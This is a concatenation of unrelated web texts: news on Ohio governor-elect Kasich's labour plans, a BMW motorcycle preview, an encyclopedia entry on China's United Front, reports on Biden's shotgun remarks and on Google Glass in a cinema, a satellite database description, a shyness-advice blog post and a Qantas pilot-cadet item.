introduced himself to his entire family, also. “It was great to have the next president tell my children, ‘you have a great dad,’” the homeowner said. Watch the Fox News interview below: To view this page ensure that Adobe Flash Player version 10.2.0 or greater is installed. |
COLUMBUS, Ohio – At a press conference in Columbus Dec. 10, a full month before taking office, Ohio Republican Governor-elect John Kasich declared war on all public employees and workers employed under state contracts. Kasich called for repeal of the state’s collective bargaining law for public employees passed in 1983, ending binding arbitration for safety forces, firing safety workers who strike and eliminating prevailing wage requirements in state contracts. “I really don’t favor the right to strike of any public employee, OK? That’s my personal philosophy. … They got good jobs, they got high pay, what are they striking for?” said the multimillionaire Kasich, who received a $400,000 bonus as managing director of Lehman Brothers the year they went bankrupt and helped collapse the economy. The occasion was to announce his nominee for state tax commissioner who, he said, shares his aim of abolishing all state income taxes despite an expected $8 billion budget shortfall. Eliminating the income tax as well as state estate taxes, which he also proposes, would more than double the deficit and require draconian reductions in all public services. Kasich has said he is exploring the sale of major state assets, including the turnpike and the prison system. Kasich never mentioned his plans to eliminate union rights during his bitterly contested campaign. If he had, undoubtedly he would have galvanized against him even the more conservative sections of labor including police, firefighters and some of the building trades. As it was, he won with only 49 percent of the vote, a margin of two points over his opponent, incumbent Democrat Ted Strickland. Kasich’s campaign was based on exploiting frustration with the economic crisis, which he blamed on Strickland even though Ohio posted the fifth largest growth in jobs of any state despite the recession. Kasich has already cost Ohio the loss of over 10,000 jobs when he announced he would refuse $400 million in federal funds for a high-speed rail project. U.S. Transportation Secretary Ray LaHood said the money would be reallocated to other states. Kasich said he would also rescind Strickland’s executive orders to allow unionization of 14,000 home health care and day care providers. He widened his attack on labor at a second press conference in Cleveland on Dec. 15 where he called for state takeover of failing school districts such as the one in Cleveland. Standing at his side was Ronn Richard, head of the Cleveland Foundation, who said his group’s top priority is repeal of a law enacted in 1941 requiring layoff by seniority for teachers. Already the labor movement is fighting back. A few days before Kasich’s opening shots, labor mobilized to beat back an effort to pass a resolution calling on the Ohio General Assembly to reconsider the public employee collective bargaining law. The action came at the Dec. 7 meeting of the city council of Middletown, located between Dayton and Cincinnati. Hundreds of workers from throughout the area packed council chambers when it was learned that a right-wing freshman councilman had introduced the measure. Every speaker at the meeting, including Jon Harvey, president of Middletown Fire Fighters Local 336, blasted the proposal, which was tabled in a 6-1 vote. AFSCME Council 8, the largest of the public employee unions in Ohio, is planning a meeting after the New Year to consider how to respond to the attack. Discussions are also under way at the Ohio AFL-CIO led by President Joe Rugola, head of the state public school employee union, an affiliate of AFSCME. Since similar threats have been made by governors of other states, AFSCME has launched a national “Stop the Lies” website with a video countering the effort by Republicans and their media flaks to scapegoat public workers for the economic crisis caused by Wall Street. “Kasich and his fellow Republicans are setting up a battle royale with union interests,” the Cleveland Plain Dealer warned in a Dec. 19 editorial. “What Ohio needs on this,” it pleaded, “is civilized debate, not dueling slogans. Some Republicans, for example, deride the purportedly high pay and lush benefits of public employees. But no economy ever grew by arbitrarily driving down the living standards of working people – including those who toil for their fellow taxpayers.” What ever was the Plain Dealer thinking when it endorsed Kasich in the election? Image: Thomas Lillis IV // CC BY-ND 2.0 |
IT’S already been spied testing and previewed in the form of BMW’s ‘Concept Roadster’ so it’s no big surprised to hear there will definitely be a water-cooled R1200R as part of the firm’s 2015 line-up. Any remaining doubt has been extinguished by a new filing at the California Air Resources Board that shows the 2015 R1200R will have the same part-liquid-cooled engine as the latest R1200GS and R1200RT. The document reveals that the ‘R’ model has exactly the same emissions as the GS and RT, and that means its engine must be in an identical state of tune. So, 125hp at 7,750rpm and 92lbft at 6,500rpm can be taken as read. And while there may be more powerful naked bikes around these days, not least the 160hp BMW S1000R, those are still some pretty impressive numbers, suggesting the new R1200R will be a far cry from the staid air/oil-cooled machine that currently carries the name. The documents also reveal that the new bike is at least 10kg lighter than any of the machines currently using the same engine, coming in at around the same weight as the existing model, 227kg including a full tank of fuel. Telescopic forks instead of Telelever and big radial Brembo brakes are also coming, so while BMW’s host of other new models might take the focus off it – the firm is to launch a new S1000RR for 2015 as well as the S1000XR and a new version of the K1600GT – the R1200R will still be well worth a look. We’re expecting to see it for the first time at Intermot in Cologne on September 30, although there’s a chance BMW might hold back some models for EICMA in Milan in November. |
The United Front (Chinese: 統一戰線; pinyin: Tǒngyī Zhànxiàn) in China is a popular front of the legally permitted parties in the country, led by the Communist Party of China (CPC). Besides the CPC, it includes eight minor parties and the All-China Federation of Industry and Commerce. It is managed by the CPC Central Committee United Front Work Department (Chinese: 中共中央统一战线工作部). Its current department head is You Quan.[3] The member parties of the Front are completely subservient to the CPC, and must accept the "leading role" of the CPC as a condition of their continued existence.[4] History [ edit ] The CPC organized the "National Revolution United Front" (Chinese: 國民革命統一戰線) with the Kuomintang during the Northern Expedition of 1926–1928 and then the "Workers' and Peasants' Democratic United Front" (Chinese: 農民主統一戰線) in the Chinese Soviet Republic era of 1931–1937. Mao Zedong originally promoted the "Anti-Japanese National United Front" (Chinese: 抗日民族統一戰線), with the name indicating that the proletarian Chinese Communists had united with the bourgeoisie against Imperial Japan[5] in the 1930s. It "assumed its current form" in 1946,[6] three years before the Chinese Communist Party defeated the Republican Kuomintang ("Nationalist") government of Chiang Kai-shek. Mao credited the United Front as one of his "Three Magic Weapons" against the Kuomintang—alongside the Leninist Chinese Communist party and the Red Army[7]—and credited the Front with playing a part in his victory.[6] Constitutional status [ edit ] The United Front holds no real power independent of the Communist Party of China; it exists mainly to give non-Communist forces a platform in the society of the People's Republic.[8] The CPC's relationship with other parties is based on the principle of "long-term coexistence and mutual supervision, treating each other with full sincerity and sharing weal or woe".[attribution needed][4] Its leaders are mostly selected by the Communist Party, or are themselves CPC members.[9] This process is institutionalized in the Chinese People's Political Consultative Conference (CPPCC).[4] Although China is a de facto one-party state, the United Front parties have nominal representation in the National People's Congress. "In building socialism it is essential to rely on workers, peasants and intellectuals and to unite all forces that can be united. In the long years of revolution and construction, there has been formed under the leadership of the Communist Party of China a broad patriotic united front which is composed of the democratic parties and people's organizations and which embraces all socialist working people, all builders of socialism, all patriots who support socialism, and all patriots who stand for the reunification of the motherland. This united front will continue to be consolidated and developed. The Chinese People's Political Consultative Conference, a broadly based representative organization of the united front which has played a significant historical role, will play a still more important role in the country's political and social life, in promoting friendship with other countries and in the struggle for socialist modernization and for the reunification and unity of the country. The system of the multi-party cooperation and political consultation led by the Communist Party of China will exist and develop for a long time to come." —Preamble of the Constitution of the People's Republic of China[10] United Front Democratic Parties [ edit ] In the official order of precedence: All-China Federation of Industry and Commerce [ edit ] All-China Federation of Industry and Commerce (Zhōnghuá Quánguó Gōngshāngye Liánhéhuì) Organs [ edit ] The two organs affiliated with United Front are the United Front Work Department and the more high-profile Chinese People's Political Consultative Conference (CPPCC). According to Yi-Zheng Lian, the organs "are often poorly understood outside China because there are no equivalents for them in the West".[6] United Front Work Department [ edit ] The United Front Work Department is headed by the chief of the secretariat of the CCP's Central Committee. It oversees a dozen organizations such as the European and American Alumni Association. It helps (for example) Chinese students and academics training or residing in the West, enjoining them to conduct "people diplomacy" on behalf of the People's Republic of China.[6] Electoral history [ edit ] Reference [ edit ] Further reading [ edit ] James D. Seymour (1987), China's Satellite Parties, Routledge, ISBN 978-0873324120 |
Vice President Joseph R. Biden told a Field & Stream reporter in a published report on Monday that if “you want to keep someone away from your house, just fire the shotgun through the door.” That same day, a 22-year-old man in Virginia Beach, Va., did just that — and was charged with reckless handling of a firearm. WAVY 10 reported that the man was in his bedroom when two armed masked men leaned through the window and warned him to close the bedroom door. The 22-year-old did — but not before he stepped into the hallway. He then grabbed his shotgun and fired several shots through his closed bedroom door, toward the window. U.S. News reports he was subsequently arrested on reckless handling of firearm charges. The two suspects have not been caught, but no injuries have been reported. Mr. Biden, who is a key figure pushing President Obama’s gun-control platform, including a ban on so-called assault weapons and limits to magazine ammunition, has given other questionable firearms instruction on previous occasions. In a recent interview, he said he told his wife that if she ever experienced a problem with a home intruder, to “just walk out on the balcony here, walk out and put [out] that double-barrel shotgun and fire two blasts outside the house,” various media reported. SPECIAL COVERAGE: Second Amendment & Gun Control Attorneys in Delaware, where Mr. and Mrs. Biden make their home, said to do so would be illegal. It’s a felony reckless endangerment violation to fire a weapon into the air in the state. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission. |
Assembled by experts at the Union of Concerned Scientists (UCS), the Satellite Database is a listing of the nearly 2000 operational satellites currently in orbit around Earth. Our intent in producing the database is to create a research tool for specialists and non-specialists alike by collecting open-source information on operational satellites and presenting it in a format that can be easily manipulated for research and analysis. It is available as both a downloadable Excel file and in a tab-delimited text format. A version is also provided in which the "Name" column contains only the official name of the satellite in the case of government and military satellites, and the most commonly used name in the case of commercial and civil satellites. Who has satellites? Then and now The database is updated three times a year (sign up for notifications in the sidebar to the right). The database contains 26 types of data for each satellite, including technical information about each satellite (mass, power, launch date, expected lifetime) and its orbit (apogee, perigee, inclination, and period), as well as information on what the satellite is used for, and who owns, operates, and built the satellite. Satellite Quick Facts (includes launches through 11/30/18) Total number of operating satellites: 1,957 United States: 849 Russia: 152 China: 284 Other: 672 LEO: 1,232 MEO: 126 Elliptical: 41 GEO: 558 Total number of US satellites: 849 Civil: 24 Commercial: 488 Government: 170 Military: 167 Users can answer questions such as: How many satellites does a given country have in orbit, and what are they used for? How many satellites are used for military purposes versus commercial purposes? Which countries have earth-observing satellites? When was the oldest working satellite launched? At what altitudes do most satellites orbit? What activities are most satellites involved with? We welcome corrections, additions, and suggestions. These can be emailed to the database manager at SatelliteData@ucsusa.org |
Days after a California driver escaped a traffic conviction over wearing Google Glass behind the wheel, the search company's augmented-reality device is once again testing the law. On Saturday, an Ohio man was detained for several hours by federal agents who suspected him of recording "Jack Ryan: Shadow Recruit" in his local movie theater using Glass's video function. "About an hour into the movie," Columbus-based Tiberiu Ungureanu told The Gadgeteer, "a guy comes near my seat, shoves a badge that had some sort of a shield on it, yanks the Google Glass off my face and says, 'follow me outside immediately.'" What followed was a lengthy interview that ended only when Ungureanu convinced an agent to search his device for evidence of the offending footage. There was none. While Ungureanu initially suspected his interrogators to be officers from the Federal Bureau of Investigation, they later turned out to be agents from the Department of Homeland Security — specifically, from the Immigration and Customs Enforcement department, which deals with international piracy cases in collaboration with the movie industry. In this case, officials from the Motion Picture Association of America, who were already at the theater, contacted ICE when they learned that someone was in the audience with a recording device. "On Jan. 18, special agents with ICE’s Homeland Security Investigations and local authorities briefly interviewed a man suspected of using an electronic recording device to record a film at an AMC theater in Columbus," Khaalid Walls, an ICE spokesman, told The Washington Post on Tuesday. "The man, who voluntarily answered questions, confirmed to authorities that the suspected recording device was also a pair of prescription eye glasses in which the recording function had been inactive. No further action was taken." ICE has taken a prominent role in Washington's global anti-piracy efforts, even going so far as to publish a public service announcement on YouTube and linking to it from various file sharing domains that it's seized. In confirming the FBI's non-involvement in Ungureanu's detention, an agency spokesman added that Ungureanu actually works with the FBI on occasion. "Incidentally, we have a positive relationship with the person involved, and they contacted us," said Todd Lindgren, an FBI public affairs officer based in Cincinnati. "He's a routine liaison who works in the cyber field, and some of our cyber agents had a relationship with the guy." The MPAA did not immediately respond to calls and an e-mail requesting comment. Nor did Ungureanu himself. "While we're huge fans of technology and innovation, wearing a device that has the capability to record video is not appropriate at the movie theater," said Ryan Noonan, a spokesman for AMC. The incident offers a teaser for the kind of legal troubles Glass could cause not just on the highways but in other public settings where electronics are prohibited. It also suggests a privacy paradox for Glass users in that, to absolve themselves of suspicion might require consenting to a search, one that could lead authorities to dig through sensitive or personal data. And while the issue of warrantless device searches has reached the Supreme Court, whatever ruling comes down will apply only to cellphones. Google Glass users will likely have a lot more experiences like Ungureanu's before they get anything resembling legal clarity. Update: In an e-mailed statement, the MPAA tells me it doesn't find Google Glass objectionable — yet. "Google Glass is an incredible innovation in the mobile sphere, and we have seen no proof that it is currently a significant threat that could result in content theft." Also from the Switch: How the Chinese Internet ended up in Wyoming Related: GALLERY: When China censors the Internet -- and why |
This is a guest post by Sean Cooper. Sign up for his newsletter and download his free report “3 Simple Steps To Overcoming Shyness Around Girls.” One of the most frustrating things when I had really bad social anxiety was feeling like people didn’t like me. Why did I feel this way? Well, others never made an effort to come talk to me, be friends with me, or invite me out to do things. At the end of class, for example, everyone would start talking to each other in groups and I would always be the one left sitting alone. And whenever I went to go talk to them, it seemed like they didn’t truly enjoy my company. Sometimes I felt like I was annoying them. Other times I felt like they were just talking to me out of pity. And on my worst days I truly started to believe that most people hated me. Yes, I know this is a depressing way to start off, but maybe you can relate… The idea I’ll share in this article is why your insecurity is turning people off without you realizing it. I’ll also show you how a simple tweak to the way you approach social situations can make you stop feeling nervous and shy when meeting new people. Before I get to the solution, here’s a story from my own life… The Night My Self-Esteem Was Shattered By A Girl At The Bar One night I’m out at a dingy bar called Thursday’s with a friend. We’re both kind of shy, but we’ve made a decision to go and talk to girls to build our confidence. I see one that’s my type at the bar. My friend catches me looking at her and says “Go do it.” She’s by herself for now. She’s attractive. I really have no excuses. So, with pain in my voice, I say “Fine.” I don’t go right away, though. I tell my friend that I just “need a minute” to prepare. Bad idea. As I stand there I start feeling more nervous. I’m trying to think of what I’m gonna say. I notice that the music is way too loud in here. Finally my friend pushes me and I start walking toward her slowly. “Shit … shit … shit,” I’m thinking to myself. I walk up close beside her and hope that she looks up at me and makes eye contact. I feel weird. She looks around the room, but doesn’t seem to notice me standing nearby. Maybe she’s not attracted? I start having doubts. Maybe it would be better if I picked another girl… But I look back at my friend and he’s making a face that tells me I need to do this. I feel more nervous and awkward than ever before, but I walk over to her and say something. My voice comes out weak and unsure. I feel bad inside. I can already guess what’s going to happen next. The girl barely looks at me before ignoring me. I stand there for a couple more seconds before walking away in shame and embarrassment. Why People Get Turned Off If you have shyness or social anxiety, then I’m sure you’ve had times in your life when you felt how I did. Maybe you didn’t get brutally ignored by a hot girl you went to go talk to, but you felt rejected. You felt like people simply didn’t like you, and anyone you did try to talk to wasn’t interested in talking to you. So, why don’t people like you? And why did that girl ignore me at the bar? The idea I’m going to propose in this article can rock your world — if you understand it and apply it in your life. Our assumptions or predictions of what is going to happen in social situations usually come true. What do I mean by this? If you assume you’ll be accepted, then you usually will. And if you predict that you’ll get disapproval or rejection, then you also usually will. (You don’t have to believe me yet, by the way. I’ll show you plenty of examples of how this idea works. I’ll even show you how YOU can apply this idea in your own life to get the friends, confidence, and romance that you deserve.) The Key To Making People Like You Is Assuming They Will Like You I know it sounds like a paradox, but it’s true. I’ll go back to my story. If I had assumed that the girl would be attracted to me, or at least that she would be friendly … then how would I have acted instead? Well, I probably wouldn’t have waited around before talking to her. If I had assumed she would accept me, then I probably would have simply walked over in a relaxed way, and said the first thing that popped into my head. And then the conversation would have gone from there. If I had approached her in this way, then even if she wasn’t attracted to me, she probably would have still been friendly and open. How do I know? Because I’ve approached plenty of other girls since then, and the biggest thing that determined whether they accepted or rejected me was my own behavior. My appearance barely changed. The big thing to understand here is that it wasn’t my appearance or anything else that caused her to reject me. It was my assumption of her disapproval. Going Deeper Into The Twilight Zone… Listen, we’re getting a little crazy here, but this is what it comes down to… You are always unconsciously broadcasting your inner beliefs to the people around you. You broadcast these beliefs through your behavior. From the way you make eye contact, to your posture, to the tone of your voice, to how open you feel to express your real personality and humor. So when you walk up to someone new, the way they respond to you is determined by your own behavior the majority of the time. People are looking at the way you act to see how they should treat you. The reason why they do this is because it’s like a mental shortcut. It’s the quickest way for them to find out if you are worth their time. So if you walk up to someone confident and relaxed, with an assumption of acceptance, then that communicates a lot about you. It communicates that you probably have a group of people who already accept you. It communicates that you consider yourself valuable and worth getting to know. It communicates that you believe you have something to offer this person. On the other hand, if you walk up to someone nervous and insecure, then what does that communicate? Well, probably most people don’t like you — otherwise why would you be so scared? You probably don’t have a lot to offer — maybe you’re trying to get something from this person or trick them. And you probably don’t consider yourself valuable. I make sure to base my writing on real science. To give credit where credit is due, a big influence for a couple of the ideas in this article was Professor David Moscovitch’s research paper called “What Is the Core Fear in Social Phobia? A New Model to Facilitate Individualized Case Conceptualization and Treatment,” published in Cognitive and Behavioral Practice, 2009. And if people can see through your lack of confidence that YOU yourself don’t think you are valuable, then why should they think you are valuable? (After all, who knows you better than you know yourself?) So if you are always broadcasting your inner beliefs to people through your behavior, then how can you change these inner beliefs to make people respond better? Well, first I’ll show you a few different ways that an assumption of disapproval can manifest. Then after I’ll show you the cause of this assumption so you can fix it. How “Assumptions” Work In Real Life Social Interactions So much of your social success is determined by what you assume or predict is going to happen in social situations. Let’s look back again to the situation in the bar. Before I walked up to the girl, I was feeling really nervous and afraid. Why was I feeling this way? I assumed that she wouldn’t want to talk to me. I predicted that she would reject me. And that’s exactly what happened. My assumptions came true. One big insight I’ve had is that shyness or social anxiety is often caused by an assumption of disapproval. It’s usually when you think people won’t like you for some reason that you feel nervous and anxious. When you assume people will disapprove of you, then you feel anxiety and shyness in social situations. Here’s a couple more examples of how an assumption of disapproval can manifest: Why are you afraid to walk up to someone you find attractive and start a conversation? (Or why are you afraid to talk to that girl or guy you like?) The fear comes from a prediction that they will reject you. If you really believed, deep down, that you two would have a great conversation, then why would you be afraid? (Or why are you afraid to talk to that girl or guy you like?) The fear comes from a that they will reject you. If you really believed, deep down, that you two would have a great conversation, then why would you be afraid? If you are shy, then why do you find it so difficult to hold conversations, especially with people you don’t know well? The biggest thing that kills you and makes you “run out of things to say” is thinking you need to say some super-interesting thing. You assume they will disapprove of you unless you perform. The biggest thing that kills you and makes you “run out of things to say” is thinking you need to say some super-interesting thing. You assume they will disapprove of you unless you perform. Why is it hard for people with social anxiety to form close friendships or relationships? Well, since you can’t easily relax around someone and “put your real self” out there until you have known them for a long time, it becomes very difficult to connect. The reason why you have this fear of vulnerability is because you unconsciously assume people wouldn’t like the real you. In all three of these examples, you can see how an assumption of disapproval can sabotage you in forming friendships or relationships, and in expressing yourself confidently. So the question now is: What creates this assumption of disapproval in you? An Assumption Of Disapproval Usually Starts With Insecurity If you have shyness or social anxiety, then you probably have some insecurity. You have some flaw or defect that you think makes people dislike you. Maybe you think you are too ugly. Or too tall or short. Too skinny or fat. Maybe your teeth are crooked or your nose is too big. Maybe your penis or breasts are too small. Or maybe you have no social life and try to hide it from people. Maybe you think your lifestyle is boring and uninteresting. Maybe you believe that, because you’re a loner or a virgin, that means that people simply won’t like you. Or maybe your anxiety and shyness itself is what you feel insecure about. Whenever you start feeling nervous, you try to hide it from people. You don’t want anyone to notice when your heart starts beating faster, or when you’re sweating, shaking, or blushing. So ask yourself: What is my insecurity? Is it something already mentioned? Or something else? Here’s an important question I ask most of my clients: “What is the thing you are the most worried about people noticing or finding out about you…that would lead them to reject you?” I love this quote that sums it up well: People who fear rejection usually act as if they have some deep dark secret that would mean instant loneliness if it were discovered. – Jonathan Berent People Hate Your Feeling Of Insecurity , Not The Thing You Are Insecure About Itself This is what you need to understand… People usually don’t mind your insecurity. If you don’t believe me, then look around. Even ugly, obese people have friends. Even stinky homeless people have boyfriends and girlfriends. Even people who are completely unintelligent and watch reality TV all day have confidence. No matter what you think your “flaw” or “defect” is … you can find people with the exact same “flaw” who are able to have friends, confidence, or romance! So it’s not the flaw or defect itself, but your feeling of insecurity around it that is actually turning people off. This is something that took me a long time to accept. I fought this idea and resisted it. I thought that my appearance was the real reason for my lack of confidence and a girlfriend. But finally I gave in… Moving Towards An Assumption Of Acceptance As I got more experience socializing with people, I realized that the key to making people like you is not in trying to appear flawless or perfect, or trying to fit into some mold promoted by the media for how you “should” be… The key to making people like you is being comfortable with yourself first. When you are comfortable with yourself instead of being haunted by low self-esteem and self-shame, then you get rid of the assumption of disapproval that sabotages you. Once you get good at assuming people will like you, you’ll see them respond much differently. Not just girls who you talk to, but people you meet in many other situations, too. Being confident, making friends and even getting a girlfriend all become ten times easier. (As long as you combine this with being assertive.) Don’t get me wrong. There is no magic pill. I STILL get nervous sometimes in social situations or before approaching an attractive girl. But with this inner shift, I found a path that I could follow. And instead of being a loner with extreme social anxiety, I have friends, I’m seeing different girls, and I’m fairly confident. So take this idea and put it to good use in your own life. – Sean Cooper — Here’s What To Do Next If you like what you’ve read in this article, and want to learn more from me, here’s what to do. First, I recommend you signup for my newsletter and download this FREE report I put together called “3 Simple Steps To Overcoming Shyness Around Girls.” Second, you can take a look at my other articles by going to my shyness and social anxiety blog. |
In a bid to lift women pilots in Australia, Qantas boss Alan Joyce has committed to a goal of at least 50 per cent women in its pilot cadet intake in a decade's time. The initiative is named after the legendary Australian female aviator, Nancy Bird Walton, and aims to boost the number of women pilots in the airline's ranks by encouraging young girls to make the necessary subject choices in high school. "Next year Qantas will hire more than 300 pilots across the group – I want us to up the ante with our female pilot intake," Mr Joyce will tell the Male Champions of Change Leaders forum in Sydney on Thursday. Qantas will commit to a 20 per cent intake of women in its 2018 cadet program, and double that number over the next decade to reach gender parity, at intake. |
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